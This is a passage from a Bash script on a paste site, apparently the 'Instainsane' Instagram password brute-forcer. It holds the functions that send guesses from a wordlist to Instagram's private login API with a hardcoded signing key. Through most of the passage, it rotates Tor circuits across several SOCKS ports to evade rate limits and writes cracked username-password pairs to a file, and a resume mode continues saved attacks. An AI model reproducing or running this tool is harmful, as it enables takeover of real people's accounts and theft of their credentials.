  430.  
  431. let counter3++
  432.  
  433. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  434.  
  435. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9053 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid3=$! ; # wait $!;
  436.  
  437. let startline+=20
  438. let endline+=20
  439.  
  440. done
  441. }
  442.  
  443.  
  444. bf4resume() {
  445.  
  446. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  447. while [ $counter4 -lt $turn ]; do
  448.  
  449. IFS=$'\n'
  450. startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  451. startresume1=$((startresume+1))
  452. IFS=$'\n'
  453. for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
  454.  
  455. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  456.  
  457. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  458. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  459. IFS=$'\n'
  460. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  461. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  462. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  463.  
  464.  
  465. let counter4++
  466. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  467.  
  468. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9054 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid4=$! ; # wait $!;
  469.  
  470. let startline+=20
  471. let endline+=20
  472.  
  473. done
  474.  
  475. }
  476.  
  477.  
  478. bf5resume() {
  479.  
  480. while [ $counter5 -lt $turn ]; do
  481. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  482. IFS=$'\n'
  483. startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  484. startresume1=$((startresume+1))
  485. IFS=$'\n'
  486. for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
  487.  
  488. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  489.  
  490. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  491. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  492. IFS=$'\n'
  493. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  494. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  495. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  496.  
  497. let counter5++
  498.  
  499. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  500.  
  501. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9055 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; wait $pid1 > /dev/null 2>&1; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1; wait $! > /dev/null 2>&1 ;
  502.  
  503. let startline+=20
  504. let endline+=20
  505.  
  506. done
  507. }
  508.  
  509.  
  510. function resume() {
  511.  
  512. banner
  513. checkroot
  514. dependencies
  515.  
  516. countern=1
  517. if [[ ! -d sessions ]]; then
  518. printf "\e[1;91m[*] No sessions\n\e[0m"
  519. exit 1
  520. fi
  521. printf "\e[1;92mFiles sessions:\n\e[0m"
  522. for list in $(ls sessions/store.session*); do
  523. IFS=$'\n'
  524. source $list
  525. printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$countern" "$list" "$wl_pass" "$pass"
  526. let countern++
  527. done
  528. read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
  529. source $(ls sessions/store.session* | sed ''$fileresume'q;d')
  530. default_threads=100
  531. threads="${threads:-${default_threads}}"
  532.  
  533. printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
  534. printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
  535. printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
  536. multitor
  537.  
  538. while [ true ]; do
  539. killall -HUP tor
  540. ###pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3"; pkill -f -HUP "tor -f multitor/multitor4"; pkill -f -HUP "tor -f multitor/multitor5"
  541.  
  542. bf1resume
  543. let turn+=20
  544. bf2resume
  545. let turn+=20
  546. bf3resume
  547. let turn+=20
  548. bf4resume
  549. let turn+=20
  550. bf5resume
  551.  
  552. let turn-=60
  553. ###
  554. killall -HUP tor
  555. #pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3";pkill -f -HUP "tor -f multitor/multitor4";pkill -f -HUP "tor -f multitor/multitor5"
  556.  
  557. done
  558. }
  559.  
  560.  
  561. case "$1" in --resume) resume ;; *)
  562.  
  563. banner
  564. checkroot
  565. dependencies
  566. start
  567. multitor
  568. killall -HUP tor
  569. while [ $countpass -lt $count_pass ]; do
  570.  
  571. killall -HUP tor
  572. ##pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3";pkill -f -HUP "tor -f multitor/multitor4";pkill -f -HUP "tor -f multitor/multitor5"
  573.  
  574. bf1
  575. let turn+=20
  576. bf2
  577. let turn+=20
  578. bf3
  579. let turn+=20
  580. bf4
  581. let turn+=20
  582. bf5
  583. let turn-=60
  584. killall -HUP tor
  585. ###
  586. #pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3"; pkill -f -HUP "tor -f multitor/multitor4"; pkill -f -HUP "tor -f multitor/multitor5"
  587. done
  588. exit 1
  589. esac
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement